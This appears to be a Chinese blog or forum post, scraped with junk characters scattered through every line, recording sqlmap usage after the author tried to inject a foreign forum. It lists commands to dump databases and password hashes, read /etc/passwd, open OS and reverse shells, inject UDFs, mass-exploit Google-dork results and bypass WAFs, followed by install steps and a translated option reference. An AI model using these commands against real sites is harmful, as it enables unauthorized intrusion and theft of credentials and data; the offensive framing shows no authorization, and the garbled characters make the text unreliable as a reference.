今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、% D' G& [+ P s ~- U+ l ?8 o
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称9 c' @1 I! `, I8 i+ |" q3 l
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名7 M t9 r6 w1 w6 y0 ^
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
) P( W/ K. V; W& ]1 E) ~ 0 W/ l1 S4 Y) |! k! h# i) t
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
; V1 [" m1 _. ]( H$ J0 #获取字段内容
$ O! t! A0 x$ g7 v3 J' J3 }
4 b2 S% Y( G+ d) n3 D# U1 Q+ n1 p******************信息获取******************) Y8 A9 N; K7 x( m% B. K
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
% t# I! F- E! e+ |0 o( ssqlmap -u “http://url/news?id=1″ –users #列数据库用户 c6 }4 d* _; |7 Y/ \& A
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
9 i: a" i& {% [# {sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
R* m+ r+ M% U' k5 v/ X) gsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码+ ^1 r3 Q: W4 J
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”, S2 l2 P' d# K0 v4 r
–start 1 –stop 20 #列出指定字段,列出20 条
* A" z7 x# b1 ssqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表8 w8 A( D9 ]9 W/ {. M7 [2 Z
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
' k4 j6 f" O5 P, W2 V. Usqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色) S8 r* e$ d9 s1 }7 T
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)( }8 e( H. n3 S' e: E$ u7 q0 P1 U
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
8 T1 O$ T2 m6 ~ ~sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
, _: E0 Y: c2 k* Q4 F9 R: t) \sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入3 P) @3 p# u7 r/ W5 y& ^
sqlmap -u “http://url/news?id=1″-b #获取banner信息/ r; V$ Y' C. u
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
6 f8 ^# R' d! U+ x4 K6 z0 xsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
9 S, S$ l% O" H8 ?+ f, Nsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
- ?! s+ S* v* E' `' Ssqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词9 H* B, s5 \# v. m# g* I; Q
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
3 ^- E2 }0 Y) ~0 I" dsqlmap -u “http://url/news?id=1″ –file /etc/passwd
; U/ _$ R( S4 m0 j5 Y. z8 \sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令' Y' C+ L' Y" e9 a- t
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell) g, B- t" \4 M' o
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表- F) r% j; V+ a: ?! A, ?
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
+ D1 \3 Z# g' j3 Qsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
) G5 }# S6 L4 }6 e" E***********高级用法*************
% v* c! v: A* B8 `4 X6 [-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
- l# W0 f0 e4 j9 M! h; \2 y( c7 fsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
& h; j7 d/ G" P3 Y( D$ R9 A–technique 测试指定注入类型\使用的技术 U. ?8 E" Z6 a4 Q: u; b
不加参数默认测试所有注入技术4 I: S- b0 a6 E3 r
• B: 基于布尔的SQL 盲注4 B* b/ y. D+ v4 ]: d
• E: 基于显错sql 注入 ? j/ ~# f" s& d$ z! X0 K
• U: 基于UNION 注入
; N$ o4 a" b. n! t• S: 叠层sql 注入
( J% c' k! E, i3 ^1 F& r% ?1 H$ V• T: 基于时间盲注
( c; `8 ?0 ~0 R7 f3 p3 L–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()" U/ j$ `- ]& L7 y' d
–tamper 插件所在目录
* x" m8 I, y, u t0 L0 C\sqlmap-dev\tamper
( K, Q3 {2 g2 [" D2 \( G( s: Qsqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
6 ]% s! P; ?1 r ]! c* Flevel 执行测试等级 攻击实例:# E0 B. V) S) Y$ |3 Y. l9 s
Sqlmap -u “http://url/news?id=1&Submit=Submit”
# w* B" J3 f. s- y; A5 K1 Y–cookie=”PHPSESSID=41aa833e6d0d3 W) N" I: k. }: t
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user5 X1 V5 S3 f. ?& d& p
–password1 c7 ^- ?# @; b, {+ E7 t$ i
参考文档:http://sqlmap.sourceforge.net/doc/README.html% R8 G$ ?0 `. O) Y F! }$ ], c. h
***********安装最新版本*************7 E% P1 z* f6 a' {2 ^
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版. s, q2 v; l3 r! f$ y
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
3 |; O \/ D" T$ t' A安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
. a! F5 ?* e' t+ M& _% z+ Psudo vim /home/当前用户/.bashrc
" q7 v2 B7 q) G/ o6 L! A#任意位置加上:3 T. {! I7 X5 N m
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效0 Q% E& t* T! S. R4 t
如果想对所有用户有效 可设置全局 编辑下面的文件- ?5 w g. a4 {9 @7 L
vim /etc/profile
! K: q6 O4 x5 J5 E7 u, L& d$ G& S同样加上:2 P, {' }! e# b1 x7 i; A
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
& o2 o, A7 T+ U7 u0 y- `: G******************windows 7 (x64) sqlmap install (SVN)************
& d* R8 ?* F% v) x. Z0 Zhttp://www.python.org/getit/ 安装python
' w- a+ D- ?. rhttp://www.sliksvn.com/en/download 安装windows svn client3 B' L6 _# j3 T1 ?! x/ _5 k6 c* z
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev6 _, x9 b9 z9 D
安装sqlmap e& J5 T5 r K/ w5 Q
*修改环境变量5 C( s( l) o0 o- @: V! a& R. Q
–version 显示程序的版本号并退出
! S B% k' e4 }- ~' r9 @+ l) t-h, –help 显示此帮助消息并退出
- a0 o, K/ K! B-v VERBOSE 详细级别:0-6(默认为1)
3 r4 _ S6 v- S7 Q1 J! a( cTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。$ w# |0 E8 _1 m8 @7 s! m1 P' Q. Q
-d DIRECT 直接连接到数据库。
1 N* f" J, @$ ]; ? ~: c$ F3 Z-u URL, –url=URL 目标URL。* x+ H0 O \/ t, e" U m
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。( \( V* o2 E5 C
-r REQUESTFILE 从一个文件中载入HTTP 请求。
$ V' i& e1 l2 H9 z-g GOOGLEDORK 处理Google dork 的结果作为目标URL。0 m% r& O. g l8 d. V
-c CONFIGFILE 从INI 配置文件中加载选项。
' ^. c7 N* S" eRequest(请求):: G* t4 Q" e% J8 ^9 m0 h
这些选项可以用来指定如何连接到目标URL。9 k- h. G8 k! M2 Z: B
–data=DATA 通过POST 发送的数据字符串
, ]7 n2 d8 |4 \' s' Y- n! x" q–cookie=COOKIE HTTP Cookie 头
: A+ K% t! x. q, I ^–cookie-urlencode URL 编码生成的cookie 注入) i1 m: ?9 N* b5 J/ H$ h
–drop-set-cookie 忽略响应的Set –Cookie 头信息
& S* m' h9 y* t4 O \& M+ w: Q/ P1 t
% \ U! m+ D8 Q3 r& r% o–user-agent=AGENT 指定 HTTP User –Agent 头: x1 v! I% l$ G0 d& Q6 i3 n
–random-agent 使用随机选定的HTTP User –Agent 头
) u8 k6 f3 m5 B6 ?$ l2 ~+ B–referer=REFERER 指定 HTTP Referer 头
8 t8 \6 m, k/ x' ^0 f9 ^# r/ J. ^–headers=HEADERS 换行分开,加入其他的HTTP 头
" D+ l3 ^7 o! h+ [; H1 C( O2 i9 q4 t; {–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM): u2 d2 |8 |6 l. D! c
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
: P; O3 q( @9 t4 S! c–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
3 l% R) u V3 _. s–proxy=PROXY 使用HTTP 代理连接到目标URL; q, J' \9 r# d8 R8 R2 m
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
+ ?. F" \. z. b% A! O- [: B7 I–ignore-proxy 忽略系统默认的HTTP 代理' \( Q1 R" `7 T9 k9 f3 m9 Y, c3 u
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒) H& j [$ I1 i* D
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒), Y0 y7 ]4 [" m$ Y; D s/ R$ L8 t9 B9 M
–retries=RETRIES 连接超时后重新连接的时间(默认3); I3 ^# M# K* S+ ^, c
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式, p( S, X1 X1 l, Y1 ?. Z* `+ _
–safe-url=SAFURL 在测试过程中经常访问的url 地址
& u: |/ \8 t6 ]( J( o) y6 C–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL& O) }( A- ]5 J9 n: x4 m
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
; x* \9 j9 s$ t3 o9 m, e-o 开启所有优化开关
, i4 x8 G# _5 V, D2 a2 C! s–predict-output 预测常见的查询输出
4 q9 d5 m" g& v1 ]( e–keep-alive 使用持久的HTTP(S)连接+ `1 \5 [4 J' z/ K5 u% u) `# J) Y
–null-connection 从没有实际的HTTP 响应体中检索页面长度: m. B0 j5 }) `
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)0 s3 d* o- G; E" {. ?" K4 e5 H
Injection(注入):
6 i x7 b# ^( {6 b, t这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
# c5 Y' ~, M& K$ }8 Q7 ^-p TESTPARAMETER 可测试的参数(S)& O# [. ~1 f1 G
–dbms=DBMS 强制后端的DBMS 为此值4 v( R" J( v p4 T
–os=OS 强制后端的DBMS 操作系统为这个值
' s1 k1 I+ L. I9 t b5 N7 C–prefix=PREFIX 注入payload 字符串前缀+ L. R; X1 D7 d2 a0 [, R2 e
–suffix=SUFFIX 注入 payload 字符串后缀
* H! ~" z0 E! s9 e5 f–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
- ^% u% M. e/ }- n* f S2 |0 _Detection(检测):
7 {' Q' G% j7 E这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。* ]6 I. [" T( L" K+ k# u
–level=LEVEL 执行测试的等级(1-5,默认为1)
" W7 g3 ~ R# a! @–risk=RISK 执行测试的风险(0-3,默认为1)
0 v$ a' H7 z! T+ S8 M2 r–string=STRING 查询时有效时在页面匹配字符串
! {, u! O9 P3 {" U9 z |–regexp=REGEXP 查询时有效时在页面匹配正则表达式
" q2 B' o8 o' h4 O9 \( q–text-only 仅基于在文本内容比较网页. T+ @8 ^# f3 p/ |4 @/ u
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
k/ O: O; C9 ] x" k+ c+ q4 G4 r–technique=TECH SQL 注入技术测试(默认BEUST)5 M. n' k. T. \: I" ^
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)3 V4 d2 o) M: l0 `
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
' s$ ]- u& K- h& E; y3 b–union-char=UCHAR 用于暴力猜解列数的字符+ [) d1 U- ]! I+ ^/ {
Fingerprint(指纹):
O. P1 e! D; m" @' x- T, l& L-f, –fingerprint 执行检查广泛的DBMS 版本指纹
) @3 h: s$ m( SEnumeration(枚举):' @7 f; Q! M, E+ I" g6 q/ w
7 f# b0 B& H* I这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。4 B4 t% L" |8 X5 n3 `3 H$ d* m0 U: ]/ c0 `
-b, –banner 检索数据库管理系统的标识$ P; ?/ ]6 g4 e3 n
–current-user 检索数据库管理系统当前用户% i* F2 _4 ?7 z+ v7 h
–current-db 检索数据库管理系统当前数据库/ |! B; A( A; V) K, \! [' q% K
–is-dba 检测DBMS 当前用户是否DBA+ m/ H' i3 g0 p7 o8 {
–users 枚举数据库管理系统用户
/ C. G( \; K' S& w–passwords 枚举数据库管理系统用户密码哈希
( U, T" h8 l" l7 |3 N–privileges 枚举数据库管理系统用户的权限
3 g% z5 B/ M. Q* R–roles 枚举数据库管理系统用户的角色
5 M+ a% J4 e' l6 D! m–dbs 枚举数据库管理系统数据库" S+ w0 e; D0 m; R" }9 d1 n
–tables 枚举的DBMS 数据库中的表
; r3 S; {7 f! ^) B% u& T–columns 枚举DBMS 数据库表列 `, y* p1 W, x) o& p
–dump 转储数据库管理系统的数据库中的表项! U- [) Q! o0 q+ [( S
–dump-all 转储所有的DBMS 数据库表中的条目; k1 Y* _" A. o" p' j9 C8 v2 O r! y
–search 搜索列(S),表(S)和/或数据库名称(S)4 m6 Y8 U; |1 @
-D DB 要进行枚举的数据库名
, m. j3 M9 p. _/ w/ A-T TBL 要进行枚举的数据库表
. s; `, b8 _# W9 a6 Z-C COL 要进行枚举的数据库列
% f! E( l% W! ]# l& D-U USER 用来进行枚举的数据库用户. L5 w \# C( z5 Y6 A) f1 g
–exclude-sysdbs 枚举表时排除系统数据库. `9 z- B) i$ S4 B# d/ j
–start=LIMITSTART 第一个查询输出进入检索# M9 ~; K4 d* Y0 c+ h9 E( i
–stop=LIMITSTOP 最后查询的输出进入检索
* e4 H3 N( Z: u* a. w# `% ~# `7 H–first=FIRSTCHAR 第一个查询输出字的字符检索1 M+ q5 Y' F+ v' _2 g I4 g- \
–last=LASTCHAR 最后查询的输出字字符检索 ~3 x7 J7 d7 S
–sql-query=QUERY 要执行的SQL 语句5 \. B5 b, B/ v# N
–sql-shell 提示交互式SQL 的shell7 D/ }' L Q7 J1 q5 l+ z
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。3 i. ?% V' A5 S( G
–common-tables 检查存在共同表8 `* z' H/ v0 @
–common-columns 检查存在共同列
: p7 t5 i$ H c" Q. |9 T# D' `User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。. B; E, H- U- g' F9 F0 I; R
–udf-inject 注入用户自定义函数6 j7 f4 e! ?' H4 x
–shared-lib=SHLIB 共享库的本地路径4 E2 B a# z: E3 z6 s2 ?- J$ J
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
0 v- e% y# l3 L$ ]4 i. l d–file-read=RFILE 从后端的数据库管理系统文件系统读取文件6 x" D: k7 b6 v. V; k
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件; e7 l. ]$ R2 ?: C2 c5 n1 D
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径- k& {/ t7 \" N8 K" @. c7 R k& g
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
9 Q8 G. h4 ]! K$ M2 [4 Z7 d–os-cmd=OSCMD 执行操作系统命令- z! r& @( c# z- r5 t4 U
–os-shell 交互式的操作系统的shell5 i/ m8 ]/ T% _, c
–os-pwn 获取一个OOB shell,meterpreter 或VNC
. F! K: c9 s# s9 m; [# ~/ C# N! }–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
, V& B& R n6 D) R–os-bof 存储过程缓冲区溢出利用3 |7 R8 n7 N- A g1 U# q" j/ W
–priv-esc 数据库进程用户权限提升( r; l: D; x- J% _0 f1 r7 x+ R
–msf-path=MSFPATH Metasploit Framework 本地的安装路径5 j1 f% ^# @8 W9 Q6 ?3 G
–tmp-path=TMPPATH 远程临时文件目录的绝对路径8 t1 P! d9 R+ j1 ]' }
5 K0 C! X4 K' o2 _) @
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。7 w, S, c" @ h* Q
–reg-read 读一个Windows 注册表项值! r" c! V1 a! i$ q' Z
–reg-add 写一个Windows 注册表项值数据; g8 R }2 G& R0 V
–reg-del 删除Windows 注册表键值
6 l8 Y0 |; y# u5 V–reg-key=REGKEY Windows 注册表键
+ K" _! a) \( G; L8 |5 k% C" Q–reg-value=REGVAL Windows 注册表项值
H" e& B2 P* E! {" Z; {1 I–reg-data=REGDATA Windows 注册表键值数据
- h' O" Z- t3 Y3 p" m5 ]3 g–reg-type=REGTYPE Windows 注册表项值类型: L$ h. i, A! i Z
General(一般): 这些选项可以用来设置一些一般的工作参数。: J/ L9 ? i; g& D
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
1 _) [7 C# n t A0 v+ l-s SESSIONFILE 保存和恢复检索会话文件的所有数据
4 P6 z, }0 u) \- \4 U4 z2 k–flush-session 刷新当前目标的会话文件
9 [& l5 ]7 J8 W8 `: a9 S. ?–fresh-queries 忽略在会话文件中存储的查询结果% l6 K# A" C1 x9 K; a+ S' ]) v) _, }
–eta 显示每个输出的预计到达时间
" |7 a9 p: G4 X: |% R( _; a8 Y–update 更新SqlMap7 k) K6 r S# f9 g
–save file 保存选项到INI 配置文件4 z6 _; V/ w8 z. m0 u; E
–batch 从不询问用户输入,使用所有默认配置。5 n$ @, D( z$ w1 o+ ]+ p
Miscellaneous(杂项):
/ v+ D( ]6 }( s3 ^4 s+ M7 r. o( `2 [. b3 H–beep 发现SQL 注入时提醒7 V# S3 F$ g3 M Q3 ]
–check-payload IDS 对注入payloads 的检测测试
/ b0 C! T) u- a& e; r–cleanup SqlMap 具体的UDF 和表清理DBMS
. o$ u& s( C% G* D( D+ f! m–forms 对目标URL 的解析和测试形式
4 B+ o, D+ o( ~4 X, O–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
* H3 x( l7 m! J0 O–page-rank Google dork 结果显示网页排名(PR)# F1 q# M; W+ `6 J3 M+ @2 N" N
–parse-errors 从响应页面解析数据库管理系统的错误消息" W2 J$ c( V3 p7 f P
–replicate 复制转储的数据到一个sqlite3 数据库
, [' L% p* K% `/ P/ p$ a- s' L–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址2 |2 ^+ X% X$ I
–wizard 给初级用户的简单向导界面 |